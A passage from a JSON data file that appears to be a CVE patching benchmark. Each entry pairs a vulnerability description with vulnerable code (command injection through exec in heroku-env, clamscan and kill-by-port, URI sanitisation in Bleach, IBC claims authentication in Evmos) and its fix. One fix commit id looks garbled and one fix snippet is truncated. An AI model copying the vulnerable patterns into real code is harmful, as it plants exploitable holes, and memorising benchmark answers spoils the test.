                "snippet": "func (t *SingleResolver) TenantID(ctx context.Context) (string, error) {\n\t//lint:ignore faillint wrapper around upstream method\n\tid, err := user.ExtractOrgID(ctx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif containsUnsafePathSegments(id) {\n\t\treturn \"\", errInvalidTenantID\n\t}\n\n\treturn id, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-36157"
    },
    {
        "cve_id": "CVE-2020-28437",
        "cve_description": "This affects all versions of package heroku-env. The injection point is located in lib/get.js which is required by index.js.",
        "cwe_info": {
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/brianc/node-heroku-env",
        "patch_url": [
            "https://github.com/brianc/node-heroku-env/commit/55830e3ab777d3565bd37c084e6abb7ebc5497e8"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_24_1",
                "commit": "e3d881b",
                "file_path": "lib/get.js",
                "start_line": 2,
                "end_line": 19,
                "snippet": "module.exports = function(app, cb) {\n  exec('heroku config --app ' + app, function(err, stdout) {\n    if(err) return cb(err);\n    var config = {}\n    var lines = stdout.split('\\n')\n    lines.shift()\n    lines.forEach(function(line) {\n      if(!line.trim()) return;\n      var parts = line.split(': ')\n      if(!parts[1]) {\n        console.log('could not parse', line)\n      } else {\n        config[parts[0].trim()] = parts[1].trim()\n      }\n    })\n    cb(null, config)\n  })\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_24_1",
                "commit": "5555830e3ab777d3565bd37c084e6abb7ebc5497e830e3",
                "file_path": "lib/get.js",
                "start_line": 2,
                "end_line": 19,
                "snippet": "var execFile = require('child_process').execFile;\nmodule.exports = function(app, cb) {\n  execFile(`heroku`, [\"config\", \"--app\", app] , function(err, stdout) {\n    if(err) return cb(err);\n    var config = {}\n    var lines = stdout.split('\n')"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-28437"
    },
    {
        "cve_id": "CVE-2018-7753",
        "cve_description": "An issue was discovered in Bleach 2.1.x before 2.1.3. Attributes that have URI values weren't properly sanitized if the values contained character entities. Using character entities, it was possible to construct a URI value with a scheme that was not allowed that would slide through unsanitized.",
        "cwe_info": {
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/mozilla/bleach",
        "patch_url": [
            "https://github.com/mozilla/bleach/commit/c5df5789ec3471a31311f42c2d19fc2cf21b35ef"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_67_1",
                "commit": "e7f83b8",
                "file_path": "bleach/sanitizer.py",
                "start_line": 441,
                "end_line": 489,
                "snippet": "    def sanitize_characters(self, token):\n        \"\"\"Handles Characters tokens\n\n        Our overridden tokenizer doesn't do anything with entities. However,\n        that means that the serializer will convert all ``&`` in Characters\n        tokens to ``&``.\n\n        Since we don't want that, we extract entities here and convert them to\n        Entity tokens so the serializer will let them be.\n\n        :arg token: the Characters token to work on\n\n        :returns: a list of tokens\n\n        \"\"\"\n        data = token.get('data', '')\n\n        if not data:\n            return token\n\n        data = INVISIBLE_CHARACTERS_RE.sub(INVISIBLE_REPLACEMENT_CHAR, data)\n        token['data'] = data\n\n        # If there isn't a & in the data, we can return now\n        if '&' not in data:\n            return token\n\n        new_tokens = []\n\n        # For each possible entity that starts with a \"&\", we try to extract an\n        # actual entity and re-tokenize accordingly\n        for part in next_possible_entity(data):\n            if not part:\n                continue\n\n            if part.startswith('&'):\n                entity = match_entity(part)\n                if entity is not None:\n                    new_tokens.append({'type': 'Entity', 'name': entity})\n                    # Length of the entity plus 2--one for & at the beginning\n                    # and and one for ; at the end\n                    part = part[len(entity) + 2:]\n                    if part:\n                        new_tokens.append({'type': 'Characters', 'data': part})\n                    continue\n\n            new_tokens.append({'type': 'Characters', 'data': part})\n\n        return new_tokens",
                "vul_localization": [
                    {
                        "patch_lines": [
                            43,
                            44,
                            45
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_67_2",
                "commit": "e7f83b8",
                "file_path": "bleach/sanitizer.py",
                "start_line": 491,
                "end_line": 556,
                "snippet": "    def allow_token(self, token):\n        \"\"\"Handles the case where we're allowing the tag\"\"\"\n        if 'data' in token:\n            # Loop through all the attributes and drop the ones that are not\n            # allowed, are unsafe or break other rules. Additionally, fix\n            # attribute values that need fixing.\n            #\n            # At the end of this loop, we have the final set of attributes\n            # we're keeping.\n            attrs = {}\n            for namespaced_name, val in token['data'].items():\n                namespace, name = namespaced_name\n\n                # Drop attributes that are not explicitly allowed\n                #\n                # NOTE(willkg): We pass in the attribute name--not a namespaced\n                # name.\n                if not self.attr_filter(token['name'], name, val):\n                    continue\n\n                # Look at attributes that have uri values\n                if namespaced_name in self.attr_val_is_uri:\n                    val_unescaped = re.sub(\n                        \"[`\\000-\\040\\177-\\240\\s]+\",\n                        '',\n                        unescape(val)).lower()\n\n                    # Remove replacement characters from unescaped characters.\n                    val_unescaped = val_unescaped.replace(\"\\ufffd\", \"\")\n\n                    # Drop attributes with uri values that have protocols that\n                    # aren't allowed\n                    if (re.match(r'^[a-z0-9][-+.a-z0-9]*:', val_unescaped) and\n                            (val_unescaped.split(':')[0] not in self.allowed_protocols)):\n                        continue\n\n                # Drop values in svg attrs with non-local IRIs\n                if namespaced_name in self.svg_attr_val_allows_ref:\n                    new_val = re.sub(r'url\\s*\\(\\s*[^#\\s][^)]+?\\)',\n                                     ' ',\n                                     unescape(val))\n                    new_val = new_val.strip()\n                    if not new_val:\n                        continue\n\n                    else:\n                        # Replace the val with the unescaped version because\n                        # it's a iri\n                        val = new_val\n\n                # Drop href and xlink:href attr for svg elements with non-local IRIs\n                if (None, token['name']) in self.svg_allow_local_href:\n                    if namespaced_name in [(None, 'href'), (namespaces['xlink'], 'href')]:\n                        if re.search(r'^\\s*[^#\\s]', val):\n                            continue\n\n                # If it's a style attribute, sanitize it\n                if namespaced_name == (None, u'style'):\n                    val = self.sanitize_css(val)\n\n                # At this point, we want to keep the attribute, so add it in\n                attrs[namespaced_name] = val\n\n            token['data'] = alphabetize_attributes(attrs)\n\n        return token",
                "vul_localization": [
                    {
                        "patch_lines": [
                            22,
                            23,
                            24,
                            25,
                            26,
                            27,
                            28,
                            29,
                            30,
                            31,
                            32,
                            33,
                            34
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_67_1",
                "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef",
                "file_path": "bleach/sanitizer.py",
                "start_line": 493,
                "end_line": 541,
                "snippet": "    def sanitize_characters(self, token):\n        \"\"\"Handles Characters tokens\n\n        Our overridden tokenizer doesn't do anything with entities. However,\n        that means that the serializer will convert all ``&`` in Characters\n        tokens to ``&``.\n\n        Since we don't want that, we extract entities here and convert them to\n        Entity tokens so the serializer will let them be.\n\n        :arg token: the Characters token to work on\n\n        :returns: a list of tokens\n\n        \"\"\"\n        data = token.get('data', '')\n\n        if not data:\n            return token\n\n        data = INVISIBLE_CHARACTERS_RE.sub(INVISIBLE_REPLACEMENT_CHAR, data)\n        token['data'] = data\n\n        # If there isn't a & in the data, we can return now\n        if '&' not in data:\n            return token\n\n        new_tokens = []\n\n        # For each possible entity that starts with a \"&\", we try to extract an\n        # actual entity and re-tokenize accordingly\n        for part in next_possible_entity(data):\n            if not part:\n                continue\n\n            if part.startswith('&'):\n                entity = match_entity(part)\n                if entity is not None:\n                    new_tokens.append({'type': 'Entity', 'name': entity})\n                    # Length of the entity plus 2--one for & at the beginning\n                    # and and one for ; at the end\n                    remainder = part[len(entity) + 2:]\n                    if remainder:\n                        new_tokens.append({'type': 'Characters', 'data': remainder})\n                    continue\n\n            new_tokens.append({'type': 'Characters', 'data': part})\n\n        return new_tokens"
            },
            {
                "id": "fix_py_67_2",
                "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef",
                "file_path": "bleach/sanitizer.py",
                "start_line": 597,
                "end_line": 654,
                "snippet": "    def allow_token(self, token):\n        \"\"\"Handles the case where we're allowing the tag\"\"\"\n        if 'data' in token:\n            # Loop through all the attributes and drop the ones that are not\n            # allowed, are unsafe or break other rules. Additionally, fix\n            # attribute values that need fixing.\n            #\n            # At the end of this loop, we have the final set of attributes\n            # we're keeping.\n            attrs = {}\n            for namespaced_name, val in token['data'].items():\n                namespace, name = namespaced_name\n\n                # Drop attributes that are not explicitly allowed\n                #\n                # NOTE(willkg): We pass in the attribute name--not a namespaced\n                # name.\n                if not self.attr_filter(token['name'], name, val):\n                    continue\n\n                # Drop attributes with uri values that use a disallowed protocol\n                # Sanitize attributes with uri values\n                if namespaced_name in self.attr_val_is_uri:\n                    new_value = self.sanitize_uri_value(val, self.allowed_protocols)\n                    if new_value is None:\n                        continue\n                    val = new_value\n\n                # Drop values in svg attrs with non-local IRIs\n                if namespaced_name in self.svg_attr_val_allows_ref:\n                    new_val = re.sub(r'url\\s*\\(\\s*[^#\\s][^)]+?\\)',\n                                     ' ',\n                                     unescape(val))\n                    new_val = new_val.strip()\n                    if not new_val:\n                        continue\n\n                    else:\n                        # Replace the val with the unescaped version because\n                        # it's a iri\n                        val = new_val\n\n                # Drop href and xlink:href attr for svg elements with non-local IRIs\n                if (None, token['name']) in self.svg_allow_local_href:\n                    if namespaced_name in [(None, 'href'), (namespaces['xlink'], 'href')]:\n                        if re.search(r'^\\s*[^#\\s]', val):\n                            continue\n\n                # If it's a style attribute, sanitize it\n                if namespaced_name == (None, u'style'):\n                    val = self.sanitize_css(val)\n\n                # At this point, we want to keep the attribute, so add it in\n                attrs[namespaced_name] = val\n\n            token['data'] = alphabetize_attributes(attrs)\n\n        return token"
            },
            {
                "id": "fix_py_67_3",
                "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef",
                "file_path": "bleach/sanitizer.py",
                "start_line": 86,
                "end_line": 101,
                "snippet": "def convert_entity(value):\n    \"\"\"Convert an entity (minus the & and ; part) into what it represents\n\n    This handles numeric, hex, and text entities.\n\n    :arg value: the string (minus the ``&`` and ``;`` part) to convert\n\n    :returns: unicode character\n\n    \"\"\"\n    if value[0] == '#':\n        if value[1] in ('x', 'X'):\n            return six.unichr(int(value[2:], 16))\n        return six.unichr(int(value[1:], 10))\n\n    return ENTITIES[value]"
            },
            {
                "id": "fix_py_67_4",
                "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef",
                "file_path": "bleach/sanitizer.py",
                "start_line": 104,
                "end_line": 131,
                "snippet": "def convert_entities(text):\n    \"\"\"Converts all found entities in the text\n\n    :arg text: the text to convert entities in\n\n    :returns: unicode text with converted entities\n\n    \"\"\"\n    if '&' not in text:\n        return text\n\n    new_text = []\n    for part in next_possible_entity(text):\n        if not part:\n            continue\n\n        if part.startswith('&'):\n            entity = match_entity(part)\n            if entity is not None:\n                new_text.append(convert_entity(entity))\n                remainder = part[len(entity) + 2:]\n                if part:\n                    new_text.append(remainder)\n                continue\n\n        new_text.append(part)\n\n    return u''.join(new_text)"
            },
            {
                "id": "fix_py_67_5",
                "commit": "c5df5789ec3471a31311f42c2d19fc2cf21b35ef",
                "file_path": "bleach/sanitizer.py",
                "start_line": 543,
                "end_line": 596,
                "snippet": "    def sanitize_uri_value(self, value, allowed_protocols):\n        \"\"\"Checks a uri value to see if it's allowed\n\n        :arg value: the uri value to sanitize\n        :arg allowed_protocols: list of allowed protocols\n\n        :returns: allowed value or None\n\n        \"\"\"\n        # NOTE(willkg): This transforms the value into one that's easier to\n        # match and verify, but shouldn't get returned since it's vastly\n        # different than the original value.\n\n        # Convert all character entities in the value\n        new_value = convert_entities(value)\n\n        # Nix backtick, space characters, and control characters\n        new_value = re.sub(\n            \"[`\\000-\\040\\177-\\240\\s]+\",\n            '',\n            new_value\n        )\n\n        # Remove REPLACEMENT characters\n        new_value = new_value.replace('\\ufffd', '')\n\n        # Lowercase it--this breaks the value, but makes it easier to match\n        # against\n        new_value = new_value.lower()\n\n        # Drop attributes with uri values that have protocols that aren't\n        # allowed\n        parsed = urlparse(new_value)\n        if parsed.scheme:\n            # If urlparse found a scheme, check that\n            if parsed.scheme in allowed_protocols:\n                return value\n\n        else:\n            # Allow uris that are just an anchor\n            if new_value.startswith('#'):\n                return value\n\n            # Handle protocols that urlparse doesn't recognize like \"myprotocol\"\n            if ':' in new_value and new_value.split(':')[0] in allowed_protocols:\n                return value\n\n            # If there's no protocol/scheme specified, then assume it's \"http\"\n            # and see if that's allowed\n            if 'http' in allowed_protocols:\n                return value\n\n        return None\n"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-7753"
    },
    {
        "cve_id": "CVE-2020-7613",
        "cve_description": "clamscan through 1.2.0 is vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the `_is_clamav_binary` function located within `Index.js`. It should be noted that this vulnerability requires a pre-requisite that a folder should be created with the same command that will be chained to execute. This lowers the risk of this issue.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/kylefarris/clamscan",
        "patch_url": [
            "https://github.com/kylefarris/clamscan/commit/5f557c970817fe8c578ec3f7ad3bcbcef4cf5538"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_23_1",
                "commit": "d474da7",
                "file_path": "index.js",
                "start_line": 480,
                "end_line": 505,
                "snippet": "    async _is_clamav_binary(scanner) {\n        const path = this.settings[scanner].path || null;\n        if (!path) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not determine path for clamav binary.`);\n            return false;\n        }\n\n        const version_cmds = {\n            clamdscan: `${path} --version`,\n            clamscan: `${path} --version`,\n        };\n\n        try {\n            await fs_access(path, fs.constants.R_OK);\n\n            const {stdout} = await cp_exec(version_cmds[scanner]);\n            if (stdout.toString().match(/ClamAV/) === null) {\n                if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n                return false;\n            }\n            return true;\n        } catch (err) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n            return false;\n        }\n    }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            16
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_23_1",
                "commit": "5f557c970817fe8c578ec3f7ad3bcbcef4cf5538",
                "file_path": "index.js",
                "start_line": 480,
                "end_line": 505,
                "snippet": "    async _is_clamav_binary(scanner) {\n        const path = this.settings[scanner].path || null;\n        if (!path) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not determine path for clamav binary.`);\n            return false;\n        }\n\n        const version_cmds = {\n            clamdscan: `${path} --version`,\n            clamscan: `${path} --version`,\n        };\n\n        try {\n            await fs_access(path, fs.constants.R_OK);\n            version_cmds_exec = version_cmds[scanner].split(' ');\n            const {stdout} = await cp_execfile(version_cmds_exec[0], [version_cmds_exec[1]]);\n            if (stdout.toString().match(/ClamAV/) === null) {\n                if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n                return false;\n            }\n            return true;\n        } catch (err) {\n            if (this.settings.debug_mode) console.log(`${this.debug_label}: Could not verify the ${scanner} binary.`);\n            return false;\n        }\n    }"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-7613"
    },
    {
        "cve_id": "CVE-2021-23363",
        "cve_description": "This affects the package kill-by-port before 0.0.2. If (attacker-controlled) user input is given to the killByPort function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/GuyMograbi/kill-by-port",
        "patch_url": [
            "https://github.com/GuyMograbi/kill-by-port/commit/ea5b1f377e196a4492e05ff070eba8b30b7372c4"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_10_1",
                "commit": "16dcbe2",
                "file_path": "index.js",
                "start_line": 5,
                "end_line": 16,
                "snippet": "exports.killByPort = function (port) {\n  var processId = null\n  try {\n    processId = exec(`lsof -t -i:${port}`)\n  } catch (e) {\n\n  }\n\n  if (processId !== null) { // if exists kill\n    exec(`kill ${processId}`)\n  }\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            4
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_10_1",
                "commit": "ea5b1f3",
                "file_path": "index.js",
                "start_line": 5,
                "end_line": 16,
                "snippet": "exports.killByPort = function (port) {\n  var processId = null\n  try {\n    processId = exec(`lsof -t -i:${parseInt(port, 10)}`)\n  } catch (e) {\n\n  }\n\n  if (processId !== null) { // if exists kill\n    exec(`kill ${processId}`)\n  }\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-23363"
    },
    {
        "cve_id": "CVE-2022-24738",
        "cve_description": "Evmos' claims module can incorrectly trust IBC transfer metadata from a counterparty chain when processing receive callbacks. An attacker who controls or connects a chain that does not enforce the same Ethereum key ownership/signature guarantees can craft an ICS-20 packet whose sender is a bech32 address on the counterparty chain and whose receiver is an Evmos address with the same underlying account bytes but a different human-readable prefix. If the claims callback normalizes the sender bytes and treats this packet as a valid attestation, it may migrate, merge, delete, or mark Evmos claims records as completed and may release claimable funds to an address whose ownership was not proven on Evmos. This allows unclaimed user funds to be drained through an unauthenticated IBC path.",
        "cwe_info": {
            "CWE-287": {
                "name": "Improper Authentication",
                "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."
            }
        },
        "repo": "https://github.com/tharsis/evmos",
        "patch_url": [
            "https://github.com/tharsis/evmos/commit/28870258d4ee9f1b8aeef5eba891681f89348f71"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_69_2",
                "commit": "a5a1221",
                "file_path": "x/claims/keeper/ibc_callbacks.go",
                "start_line": 17,
                "end_line": 105,
                "snippet": "func (k Keeper) OnRecvPacket(\n\tctx sdk.Context,\n\tpacket channeltypes.Packet,\n\tack exported.Acknowledgement,\n) exported.Acknowledgement {\n\tparams := k.GetParams(ctx)\n\n\t// short circuit in case claim is not active (no-op)\n\tif !params.IsClaimsActive(ctx.BlockTime()) {\n\t\treturn ack\n\t}\n\n\t// unmarshal packet data to obtain the sender and recipient\n\tvar data transfertypes.FungibleTokenPacketData\n\tif err := transfertypes.ModuleCdc.UnmarshalJSON(packet.GetData(), &data); err != nil {\n\t\terr = sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"cannot unmarshal ICS-20 transfer packet data\")\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// validate the sender bech32 address from the counterparty chain\n\tbech32Prefix := strings.Split(data.Sender, \"1\")[0]\n\tif bech32Prefix == data.Sender {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender: %s\", data.Sender).Error(),\n\t\t)\n\t}\n\n\tsenderBz, err := sdk.GetFromBech32(data.Sender, bech32Prefix)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender %s, %s\", data.Sender, err.Error()).Error(),\n\t\t)\n\t}\n\n\t// change the bech32 human readable prefix (HRP) of the sender to `evmos1`\n\tsender := sdk.AccAddress(senderBz)\n\n\t// obtain the evmos recipient address\n\trecipient, err := sdk.AccAddressFromBech32(data.Receiver)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid receiver address %s\", err.Error()).Error(),\n\t\t)\n\t}\n\n\tsenderClaimsRecord, senderRecordFound := k.GetClaimsRecord(ctx, sender)\n\trecipientClaimsRecord, recipientRecordFound := k.GetClaimsRecord(ctx, recipient)\n\n\t// handle the 4 cases for the recipient and sender claim records\n\n\tswitch {\n\tcase senderRecordFound && recipientRecordFound:\n\t\t// 1. Both sender and recipient have a claims record\n\t\t// Merge sender's record with the recipient's record and\n\t\t// claim actions that have been completed by one or the other\n\t\trecipientClaimsRecord, err = k.MergeClaimsRecords(ctx, recipient, senderClaimsRecord, recipientClaimsRecord, params)\n\t\tif err != nil {\n\t\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t\t}\n\n\t\t// update the recipient's record with the new merged one, while deleting the\n\t\t// sender's record\n\t\tk.SetClaimsRecord(ctx, recipient, recipientClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\tcase senderRecordFound && !recipientRecordFound:\n\t\t// 2. Only the sender has a claims record.\n\t\t// Migrate the sender record to the recipient address\n\t\tk.SetClaimsRecord(ctx, recipient, senderClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\n\t\t// claim IBC action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, senderClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && recipientRecordFound:\n\t\t// 3. Only the recipient has a claims record.\n\t\t// Only claim IBC transfer action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, recipientClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && !recipientRecordFound:\n\t\t// 4. Neither the sender or recipient have a claims record.\n\t\t// Perform a no-op by returning the  original success acknowledgement\n\t\treturn ack\n\t}\n\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// return the original success acknowledgement\n\treturn ack\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            46
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_69_1",
                "commit": "2887025",
                "file_path": "x/claims/keeper/ibc_callbacks.go",
                "start_line": 3,
                "end_line": 14,
                "snippet": "import (\n\t\"strings\"\n\n\tsdk \"github.com/cosmos/cosmos-sdk/types\"\n\tsdkerrors \"github.com/cosmos/cosmos-sdk/types/errors\"\n\ttransfertypes \"github.com/cosmos/ibc-go/v3/modules/apps/transfer/types\"\n\tchanneltypes \"github.com/cosmos/ibc-go/v3/modules/core/04-channel/types\"\n\t\"github.com/cosmos/ibc-go/v3/modules/core/exported\"\n\n\tevmos \"github.com/tharsis/evmos/v2/types\"\n\t\"github.com/tharsis/evmos/v2/x/claims/types\"\n)"
            },
            {
                "id": "fix_go_69_2",
                "commit": "2887025",
                "file_path": "x/claims/keeper/ibc_callbacks.go",
                "start_line": 18,
                "end_line": 138,
                "snippet": "func (k Keeper) OnRecvPacket(\n\tctx sdk.Context,\n\tpacket channeltypes.Packet,\n\tack exported.Acknowledgement,\n) exported.Acknowledgement {\n\tparams := k.GetParams(ctx)\n\n\t// short (no-op) circuit by returning original ACK in case the claim is not active\n\tif !params.IsClaimsActive(ctx.BlockTime()) {\n\t\treturn ack\n\t}\n\n\t// unmarshal packet data to obtain the sender and recipient\n\tvar data transfertypes.FungibleTokenPacketData\n\tif err := transfertypes.ModuleCdc.UnmarshalJSON(packet.GetData(), &data); err != nil {\n\t\terr = sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"cannot unmarshal ICS-20 transfer packet data\")\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// validate the sender bech32 address from the counterparty chain\n\tbech32Prefix := strings.Split(data.Sender, \"1\")[0]\n\tif bech32Prefix == data.Sender {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender: %s\", data.Sender).Error(),\n\t\t)\n\t}\n\n\tsenderBz, err := sdk.GetFromBech32(data.Sender, bech32Prefix)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid sender %s, %s\", data.Sender, err.Error()).Error(),\n\t\t)\n\t}\n\n\t// change the bech32 human readable prefix (HRP) of the sender to `evmos1`\n\tsender := sdk.AccAddress(senderBz)\n\n\t// obtain the evmos recipient address\n\trecipient, err := sdk.AccAddressFromBech32(data.Receiver)\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\tsdkerrors.Wrapf(sdkerrors.ErrInvalidAddress, \"invalid receiver address %s\", err.Error()).Error(),\n\t\t)\n\t}\n\n\tsenderClaimsRecord, senderRecordFound := k.GetClaimsRecord(ctx, sender)\n\n\t// NOTE: we know that the connected chains from the authorized IBC channels\n\t// don't support ethereum keys (i.e `ethsecp256k1`). Thus, so we return an error,\n\t// unless the destination channel from a connection to a chain that is EVM-compatible\n\t// or supports ethereum keys (eg: Cronos, Injective).\n\tif sender.Equals(recipient) && !params.IsEVMChannel(packet.DestinationChannel) {\n\t\tswitch {\n\t\t// case 1: secp256k1 key from sender/recipient has no claimed actions -> error ACK to prevent funds from getting stuck\n\t\tcase senderRecordFound && !senderClaimsRecord.HasClaimedAny():\n\t\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\t\tsdkerrors.Wrapf(\n\t\t\t\t\tevmos.ErrKeyTypeNotSupported, \"receiver address %s is not a valid ethereum address\", data.Receiver,\n\t\t\t\t).Error(),\n\t\t\t)\n\t\tdefault:\n\t\t\t// case 2: sender/recipient has funds stuck -> error acknowledgement to prevent more transferred tokens from\n\t\t\t// getting stuck while we implement IBC withdrawals\n\t\t\treturn channeltypes.NewErrorAcknowledgement(\n\t\t\t\tsdkerrors.Wrapf(\n\t\t\t\t\tevmos.ErrKeyTypeNotSupported,\n\t\t\t\t\t\"reverted transfer to unsupported address %s to prevent more funds from getting stuck\",\n\t\t\t\t\tdata.Receiver,\n\t\t\t\t).Error(),\n\t\t\t)\n\t\t}\n\t}\n\n\t// return original ACK in case the destination channel is not authorized\n\tif !params.IsAuthorizedChannel(packet.DestinationChannel) {\n\t\treturn ack\n\t}\n\n\trecipientClaimsRecord, recipientRecordFound := k.GetClaimsRecord(ctx, recipient)\n\n\t// handle the 4 cases for the recipient and sender claim records\n\n\tswitch {\n\tcase senderRecordFound && recipientRecordFound:\n\t\t// 1. Both sender and recipient have a claims record\n\t\t// Merge sender's record with the recipient's record and\n\t\t// claim actions that have been completed by one or the other\n\t\trecipientClaimsRecord, err = k.MergeClaimsRecords(ctx, recipient, senderClaimsRecord, recipientClaimsRecord, params)\n\t\tif err != nil {\n\t\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t\t}\n\n\t\t// update the recipient's record with the new merged one, while deleting the\n\t\t// sender's record\n\t\tk.SetClaimsRecord(ctx, recipient, recipientClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\tcase senderRecordFound && !recipientRecordFound:\n\t\t// 2. Only the sender has a claims record.\n\t\t// Migrate the sender record to the recipient address\n\t\tk.SetClaimsRecord(ctx, recipient, senderClaimsRecord)\n\t\tk.DeleteClaimsRecord(ctx, sender)\n\n\t\t// claim IBC action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, senderClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && recipientRecordFound:\n\t\t// 3. Only the recipient has a claims record.\n\t\t// Only claim IBC transfer action\n\t\t_, err = k.ClaimCoinsForAction(ctx, recipient, recipientClaimsRecord, types.ActionIBCTransfer, params)\n\tcase !senderRecordFound && !recipientRecordFound:\n\t\t// 4. Neither the sender or recipient have a claims record.\n\t\t// Perform a no-op by returning the  original success acknowledgement\n\t\treturn ack\n\t}\n\n\tif err != nil {\n\t\treturn channeltypes.NewErrorAcknowledgement(err.Error())\n\t}\n\n\t// return the original success acknowledgement\n\treturn ack\n}"
            },
            {
                "id": "fix_go_69_3",
                "commit": "2887025",
                "file_path": "types/errors.go",
                "start_line": 1,
                "end_line": 18,
